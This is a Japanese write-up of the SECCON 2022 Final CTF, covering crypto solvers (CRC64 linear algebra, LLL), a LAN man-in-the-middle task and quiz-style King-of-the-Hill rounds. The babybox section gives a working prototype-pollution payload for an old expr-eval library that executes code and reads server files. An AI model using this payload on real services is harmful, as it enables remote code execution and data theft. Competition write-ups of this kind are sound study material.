SECCON 2022 Final WriteUp (Crypto, Web/babybox, Misc, witch_quiz)

SECCON CTF 2022 FinalにチームTSGとしてInternational枠に出場しました。大会はKoH + Jeopardyという問題構成で、Jeopardyは開始時点で全オープンされ（徹夜確定）、KoHは1ラウンド大体1時間のペースの問題が1日目は1問、2日目は2問出題されました（忙しい）。
私はCryptoを中心にJeopardy, KoHにかかわっていました。結果としては10チーム中9位でした。みんなCTFが強すぎる……

# Jeopardy
## Crypto
Crypto分野は三問出題され、そのうち二問を解きました。基本的にこれを解くために2日溶かした感じです……

### authenticator
この問題と次のHellはすでに[出題者によるWriteup](https://furutsuki.hatenablog.com/entry/2023/02/13/231456)が公開されていますが、私がやったことを軽くまとめます。

サーバーに接続すると後述するヒントを好きなだけ取得でき、Authコマンドで正しいコードを送信するとフラグがもらえる。
サーバーは64bit秘密鍵`key`と5秒ごとに替わるタイムスタンプ`t`を保持しており、ヒントを要求すると `crc64(b"hint", crc64((key ^ t).to_bytes(8, "little"), 0))` を返す。`crc64`関数とAuthのコード判定は次のように定義されている。

```python
def crc64(data: bytes, init: int) -> int:
    g = 0xcd8da4ff37e45ec3
    crc = init

    for x in data:
        crc = crc ^ x
        for _ in range(8):
            crc = ((crc >> 1) ^ (g * (crc & 1))) & 0xffffffffffffffff
    return crc

def auth(code: int, t: int) -> bool:
    return crc64((key ^ t).to_bytes(8, "little"), code) == code
```

CRC関数は式をこねくり回すと、内部で使われている次の操作`f`はXORに対して準同型写像であることが言える（`f(x ^ y) = f(x) ^ f(y)`）。
```f.py
f = lambda crc: ((crc >> 1) ^ (g * (crc & 1))) & 0xffffffffffffffff
```
今回利用できる性質を次にまとめる。

```python
xor = lambda xs, ys: bytes([x^y for x, y in zip(xs, ys)])

# initが0ならバイト列のxorを外に出せる
assert crc64(xor(data0, data1), 0) == crc64(data0, 0) ^ crc64(data1, 0)
# バイト列が0-fillされているならinitのxorを外に出せる
assert crc64(bytes(N), init0 ^ init1) == crc64(bytes(N), init0) ^ crc64(bytes(N), init1)
# initを0にしたもの、バイト列を0埋めしたもののxorに分解できる
assert crc64(data, init) == crc64(data, 0) ^ crc64(bytes(len(data)), init)
```

つまりヒントに対して次の値を復元できる

```
hint = crc64(b"hint", crc64((key ^ t).to_bytes(8, "little"), 0))
cx = hint ^ crc64(b"hint", 0)
assert cx == crc64(bytes(4), crc64((key ^ t).to_bytes(8, "little"), 0))
```

つぎは`crc(bytes(4), ckt) = cx`を満たすような`ckt`の値64bit整数を逆算したい。
`ckt`を `ckt == x0 ^ (x1 << 1) ^ (x2 << 2) ^ ... ^ (x63 << 63)` というように、各bit`x0...x63`に分解することで、`cx == crc64(bytes(4), x0) ^ crc64(bytes(4), x1 << 1) ^ ... ` という形に書き換えることができる。ここで`x == 0`なら`crc(bytes(4), x<<i) == 0`であることを利用すると、次のような$GF(2)$の方程式をとくことで`ckt`が求まる。

```solve1.sage.py
def to_long(xs: list):
    ans = 0
    for x in xs[::-1]:
        ans <<= 1
        ans += int(x)
    return ans

def to_bitvec(x: int):
    ans = []
    for i in range(64):
        ans.append(x & 1)
        x >>= 1
    return ans

def find_ckt(cx: int) -> int:
    # find ckt s.t. crc64(bytes(4), ckt) == cx
    MS = MatrixSpace(GF(2), 64, 64)
    VS = VectorSpace(GF(2), 64)
    A_ = []
    for i in range(64):
        row_num = crc64(bytes(4), 1 << i)
        A_.append(to_bitvec(row_num))
    A = MS(A_)
    CX = to_bitvec(cx)
    CKT = A.solve_left(VS(CX)).list()
    return int(to_long(CKT))
```
これで`crc64((key ^ t).to_bytes(8, "little"), 0)`が求まった（本当は弱衝突する値を導いた？詳しいことは分かりません）。
最終的に欲しいのは`crc64((key ^ t).to_bytes(8, "little"), code) == code`を満たす`code`だが、これも`crc64((key ^ t).to_bytes(8, "little"), 0) ^ crc64(bytes(8), code) == code`に分解したうえで`code`の各bitに注目することで次のように解ける。

```solve2.sage.py
def find_code(ckt: int) -> int:
    # find code s.t. ckt == crc64(bytes(8), code) ^ code
    MS = MatrixSpace(GF(2), 64, 64)
    VS = VectorSpace(GF(2), 64)
    A_ = []
    for i in range(64):
        row_num = crc64(bytes(8), 1 << i) ^^ (1 << i)  # crcされたcodeのbitと、元のcodeのbit
        A_.append(to_bitvec(row_num))
    A = MS(A_)
    CX = to_bitvec(ckt)
    CODE = A.solve_left(VS(CX)).list()
    code = int(to_long(CODE))
    return code
```
これを`t`が変わる前に送信すればフラグがもらえる。

### Hell
Hellだった。$x$の最大次数が$5$のHyperelliptic curveのJacobianに対して、有限体に使われている素数$p$と、フラグをエンコードした点$(x_v,y_v)$のdivisor$D$のスカラー倍$6D, 12D, 20D$が与えられる。Hyperelliptic curveのパラメータを特定し、$D$を逆算するとフラグが得られる。
sagemathの出力結果がもらえるのだが、表示形式がさっぱり分からない。調べるとどうもMumford表現というやつらしいのだが、どこを調べても$y$が含まれる多項式をもつMumford表現が見当たらない。2日目はずっとこれに悩んだ末撃沈した。

結局$y - g(x)$は$g(x)$と同じ意味らしい。Mumford表現で使われる多項式の組$(f(x), g(x))$は、$f(x) = 0, y=g(x)$を満たす$x,y$を表現したものだが、$(f(x), G(x,y))$という形の場合は単に$f(x)=0, G(x,y)=0$を満たす$x,y$を考えればよいらしい。競技後にこれを知りcurveのパラメータは特定できたのだが、結局$D$の逆算はWriteupを見るまで分からなかった。

### not new PRNG
格子問。128bit素数$p$と4つの64bit自然数$\hat{x_0},\cdots ,\hat{x_3}$、そして128bitパラメータ$a, b, c, d, \hat{e}$について、次のような線形合同法めいたことをやる

$$
x_4 = a\hat{x_0} + b\hat{x_1} + c\hat{x_2} + d\hat{x_3} + \hat{e} \ \mod p
$$

$$
x_5 = a\hat{x_1} + b\hat{x_2} + c\hat{x_3} + dx_4 + \hat{e} \ \mod p
$$

$$
x_6 = a\hat{x_2} + b\hat{x_3} + cx_4 + dx_5 + \hat{e} \ \mod p
$$

秘密の値にはハット($\hat{\cdot}$)をつけた。ここから$\hat{x_0},\hat{x_1},\hat{x_2},\hat{x_3}$を復元するとフラグが得られる。
まず右辺の$x_4, x_5$を消す。

$$
v_0 = x_4,\ v_1 = x_5 - dx_4,\ v_2 = x_6 - dx_5 - cx_4
$$

次に$e$を消す。

$$
\begin{eqnarray}
w_0 = v_0 - v_1 =& a\hat{x_0} + (b-a)\hat{x_1} + (c-b)\hat{x_2} + (d-c)\hat{x_3} &\mod p \\\\
w_1 = v_1 - v_2 =& a\hat{x_1} + (b-a)\hat{x_2} + (c-b)\hat{x_3} &\mod p \\\\
\end{eqnarray}
$$

あとはこれに基づき格子を作り、LLLを適用する。スケーリングしたり$\hat{x}$のオフセットをずらしたり色々試した結果1日目の夜がこれで消失した。

```solver.sage
import os
import random
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad
from Crypto.Util.number import getPrime

p = 234687789984662131107323206406195107369
a = 35686285754866388325178539790367732387
b = 36011211474181220344603698726947017489
c = 84664322357902232989540976252462702046
d = 154807718022294938130158404283942212610
outs = [222378874028969090293268624578715626424, 42182082074667038745014860626841402403, 217744703567906139265663577111207633608]
iv = "f2dd287ca870eb9908bf52c44dfd9d2b"
ct = "236a6aca059ae29056a23f5458c644abb74640d672dba1ee049eb956e629b7afb03ae33b2b2b419c24197d33baf6d88e2f0eedfa90c06e1a2be18b2fae2270f05ce39de5e0d59bb9a442d1b3eb392658e45cf721094543b13d35df8cf9ce420c"

v0 = outs[0]
v1 = (outs[1] - d * outs[0])
v2 = (outs[2] - c * outs[0] - d * outs[1])

w0 = (v0 - v1)
w1 = (v1 - v2)
w2 = (v0 - v2)

half = 2^63
w0 = (w0 - (half * a + half * (b-a) + half * (c-b) + half * (d-c)))
w1 = (w1 - (half * a + half * (b-a) + half * (c-b)))
w2 = (w2 - (half * a + half * b + half * (c-a) + half * (d-b)))

M = [[0 for i in range(8)] for j in range(8)]
for i in range(4):
    M[i][i] = 2  # x0:4

assert p < 2^128
M[4][4] = 2 ^ 64
M[5][5] = p  # modulo
M[6][6] = p
M[7][7] = p

M[0][5] = a
M[1][5] = (b-a)
M[2][5] = (c-b)
M[3][5] = (d-c)
M[4][5] = -(w0 % p)

M[1][6] = a
M[2][6] = (b-a)
M[3][6] = (c-b)
M[4][6] = -(w1 % p)

M[0][7] = a
M[1][7] = b
M[2][7] = (c-a)
M[3][7] = (d-b)
M[4][7] = -(w2 % p)

for i in range(8):
    for j in range(5, 8):
        M[i][j] *= 2 ^ 64

ML = Matrix(M).LLL()

# あとはよしなに...
```

## Web
### babybox
関数電卓のようなWebサービスに対し、ヤバい入力を与えサーバー内のフラグを得る。
実装にはexpr-evalというライブラリが使われているが、古いバージョンになっておりprototype pollutionがある。
https://github.com/silentmatt/expr-eval/issues/266

たとえば`constructor`と入力すると、Objectのコンストラクタ関数が計算機の環境に登録される。
目標は任意のプログラムを実行できる`({}).constructor.constructor('<do something>; return hoge;')`なのだが、`constructor`はパーサーも破壊するため`constructor.constructor`を素直に処理してくれない。色々こねくり回した結果

```js
C=constructor;D=C.getOwnPropertyDescriptor(C.__proto__, 'constructor');D.value('return 1;')
```

で上手く動作した。しかしここでrequire関数が使えないという新たな壁にぶつかる。nodejsグローバル変数の`process`はあるのだが、確かrequireの代用ができる何かが`process`にあったよなーと相談していたら、チームメイトがChatGPTに聞いてくれた。

![chatGPT_knows_everything.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/222311/f25579a7-d251-e668-26be-2226da214ae5.png)

なんとこれが正解で、`fs`モジュールを呼び出すことができた。

```js
C=constructor;D=C.getOwnPropertyDescriptor(C.__proto__, 'constructor');D.value('return process.mainModule.require(\"fs\").readFileSync(\"/flag-db13b8d868d890910341170112a75441.txt\").toString();')()

// SECCON{pr0totyp3_po11ution_iS_my_friend}
```

## misc
AliceとBobがDH鍵交換ののちAliceがBobへフラグを送信している。その通信経路のLANケーブルを物理的に触ることができるので中間者攻撃をしようという問題。LANコネクタやスイッチ、カシメ機などが用意され、オンサイトならではの問題だった。

LANケーブルいじりは50分の制限時間があり、2時間前に問題文がもらえる。ARPスプーフィングとか必要になるのかなーと話し合いながら、私はなりすましが上手くいったあとに走らせるDH鍵交換のスクリプトを書いていた。

本番が始まっていまさらLANの色順を知らないことに気付き、チームメイトに調べてもらってその順にコネクターに線を詰めていた。カシメ機を触ったのは4年ぶりくらい。
その後ARPが上手くいかないよ～と苦しんでいたら、そんなことせずともAliceとつないでBobの静的IPに設定すればうまくいくんじゃねという話になり、もろもろのPC作業をチームメイトにやってもらった。ありがとう :pray:

# KoF
## Witch Quiz

Crypto系のKoF。大体1時間ごとに問題が変わり、その都度解答を送信して点数の高さを競う。
問題の形式は、サーバーが秘密の数列を持っており、プレイヤーはその数列を予測する。すると当たった個数だけ点がもらえるので、それをもとに数列を特定する。5秒に一回しかサブミットできず（これを1tickと呼ぶ）、制限時間がたつとその問題は閉じられるのでめっちゃ忙しい。とりあえず雑なサブミットで点数を確保したのち本命の特定スクリプトの作成に取り掛かる必要がある。

### Phase 1
```python
class PureRandom:
    def __init__(self) -> None:
        # __init__ is called only once at server startup. The answer is saved in a file so that the answer does not change.
        server_ans_filename = "purerandom.ans"

        if not os.path.isfile(server_ans_filename):
            ans = []
            for _ in range(540):
                ans.append(int(secrets.token_hex(1), 16) % 2)
            with open(server_ans_filename, "wb") as f:
                pickle.dump(ans, f)

        with open(server_ans_filename, "rb") as f:
            self.ans = pickle.load(f)


    def score(self, tick: int, given_answer: Optional[list[int]]) -> int:
        """
        Calculate scores for submitted answers
        
        Parameters
        ----------
        tick: int
            `tick` you given as request (1-indexed)
        given_answer : int
            `given_answer` you given as request
        """
        if given_answer == None:
            return 0

        cnt = 0
        # note: Answer may change depending on tick
        for l, r in zip(given_answer, [tick] + self.ans):
            cnt += (1 if l == r else 0)

        # note: The evaluation method may change depending on the problem
        if len(given_answer) == 0 or given_answer[0] != [tick]:
            return 0
        return cnt
```
ランダムだからお祈りやんと言って0埋めした数列を送信したり、1埋めした数列を送信したりしていたが、一か所だけ1にして残り0にした数列を送信すれば541回で全部特定できるじゃんと気付いたが時すでに遅し。540サブミットするには45分かかるが時間がもうなかった。

### Phase 2
```python
class Phase:
    def __init__(self):
        # __init__ is called only once at server startup. The answer is saved in a file so that the answer does not change.
        self.N = 100000 
        self.phix = random.randrange(0,self.N)
        self.phiy = random.randrange(0,self.N)

        #public
        self.xs = [0, 0, 0, 1, ...]
        self.ys = [1, 0, 1, 0, ...]

            def create(self):
        server_ans_filename = "phase_problem_predicted.ans"
        if not os.path.isfile(server_ans_filename):
            ans = []
            for i in range(self.N):
                ans.append(self.xs[(i + self.phix) % self.N] + self.ys[(i + self.phiy)%self.N])
            with open(server_ans_filename, "wb") as f:
                pickle.dump(ans, f)

        with open(server_ans_filename, "rb") as f:
            data = pickle.load(f)
            self.ans = data

    
    def score(self, tick: int, your_answer: Optional[list[int]]) -> int:
        """
        Calculate scores for submitted answers
        
        Parameters
        ----------
        tick: int
            `tick` you given as request (1-indexed)
        given_answer : int
            `your_answer` you given as request
        """
        if your_answer == None:
            return 0

        cnt = 0
        for l, r in zip(your_answer, self.ans):
            cnt += (1 if l == r else 0)
        return cnt
```
2枚の乱数表が公開されており、それぞれ秘密の位置から読み始め和を取ったものが答え。
チームメイトが一瞬で解法を思いついたので、私は特定のための情報収集用のサブミットを作っていた。
特定方法は

* 一か所を0にして残りを9で埋めた数列
* 一か所を2にして残りを9で埋めた数列

をそれぞれ100個くらい投げることで、読みだした乱数がともに0だった位置と、ともに1だった位置を特定することができる。その情報をもとにxsとysに対してregexで検索すると開始位置を特定できる。

### Phase 3
```python
class EC:
    def __init__(self, a=None, b=None):
        self.p = 1009
        self.field = [[0 for i in range(self.p)] for j in range(self.p)]

        self.a = random.randrange(1,self.p) if a is None else a
        self.b = random.randrange(1,self.p) if b is None else b

        # y^2 = x^3 + a*x + b
        self.points = []

        for x in range(self.p):
            for y in range(1, self.p):
                if (y*y) % self.p == (x*x*x + self.a * x + self.b) % self.p:
                    self.points.append((x,y))
                    self.points.append((x,self.p-y))
                    self.field[y][x] = 1
                    self.field[self.p - y][x] = 1

        self.x, self.y = self.points[random.randrange(0,len(self.points))]

        for p in self.points:
            x, y = p
            assert y*y % self.p == (x*x*x + self.a * x + self.b) % self.p
        
        assert self.y*self.y % self.p == (self.x*self.x*self.x + self.a * self.x + self.b) % self.p

    def get_answer(self, x, y):
        ans = [0] * (1009*1009)
        for p in self.points:
            ans[p[1] * self.p + p[0]] = 1

        for i in range(self.p):
            ans[i * self.p + x] = 1
            ans[y * self.p + i] = 1
        return ans 
    
    def next(self):
        phi = (3*self.x*self.x + self.a) * pow(2*self.y, -1, self.p)
        psi = (-3*self.x*self.x*self.x - self.a*self.x + 2 * self.y * self.y) * pow(2*self.y, -1, self.p)
        self.x = (phi * phi - 2 * self.x) % self.p
        self.y = (-phi * self.x - psi) % self.p
        assert self.y*self.y % self.p == (self.x*self.x*self.x + self.a * self.x + self.b) % self.p
```
楕円曲線上を1tickごとに歩いていき、楕円曲線の部分と今立っている位置の十字部分を1として、残りを0としたものが答え。480tickごとに楕円曲線のパラメータが変わる。

いよいよ解き方が分からず0埋めで投げてしまった。しばらく他チームも似たような感じだったが、1チームだけ2000点ほど余分に稼いでいた気がする。どうにかして十字を当てたのだと思う。

### Phase 4
```python
class LCG:
    def __init__(self, seed, m):
        self.a = 2
        self.seed = seed
        self.m = m

    def rand(self):
        self.seed = (self.seed * self.a) % self.m
        return self.seed

class RandomRotate:
    def __generator(self):
        N = 65536 # public
        ans = [(x+1) for x in range(N)]
        seed = int(secrets.token_hex(8), 16)
        m = 27652344047805921227 # public int(secrets.token_hex(16), 16) * 2 + 1
        lcg = LCG(seed, m)

        for i in range(N-1, 0, -1):
            j = lcg.rand() % i
            ans[i], ans[j] = ans[j], ans[i]
        
        rotate_sums = [0]
        for ticks in range(10000):
            rotate_sums.append((rotate_sums[-1] + (lcg.rand() % N)) % N)

        return ans, rotate_sums

    def __init__(self) -> None:
        # __init__ is called only once at server startup. The answer is saved in a file so that the answer does not change.
        server_ans_filename = "randomrotate.ans"

        if not os.path.isfile(server_ans_filename):
            ans, rotate_sums = self.__generator()
            with open(server_ans_filename, "wb") as f:
                pickle.dump({"answer": ans, "rotate_sums":rotate_sums}, f)

        with open(server_ans_filename, "rb") as f:
            data = pickle.load(f)
            self.ans = data["answer"]
            self.rotate_sums = data["rotate_sums"]

    def score(self, tick: int, answer: Optional[list[int]]) -> int:
        """
        Calculate scores for submitted answers
        
        Parameters
        ----------
        tick: int
            `tick` you given as request (1-indexed)
        given_answer : int
            `answer` you given as request
        """
        if answer == None:
            return 0

        rotate = self.rotate_sums[tick-1]
        ans = self.ans[rotate:] + self.ans[:rotate]

        cnt = 0
        for l, r in zip(answer, ans):
            cnt += (1 if l == r else 0)
        return cnt
```
線形合同法によってシャッフルした数列を、毎tickごとに「カット」してから回答と比較する。
「乱数シードの特定とか出そうだよねー」と話してたら本当に出てきたのだが、結局解けなかった。雑に`[1,1, ... ,1, 2,2, ... ,2, 3,3, ... , 8,8, ..., 8]`を投げておみくじを回すことにした。これなら$p=1/8,n=8$の二項分布に従う点がもらえる。ずっとおみくじを回したが結局4点しかもらえなかった。そして終盤他チームが65536点、即ちシードを特定し満点を取っていた。すごいね。

# まとめ
みんな強かったです。Cryptoに苦しみ続け、解いた後はなんでこんなのに苦しんだんだろうという感じで、もっと精進が必要に思いました。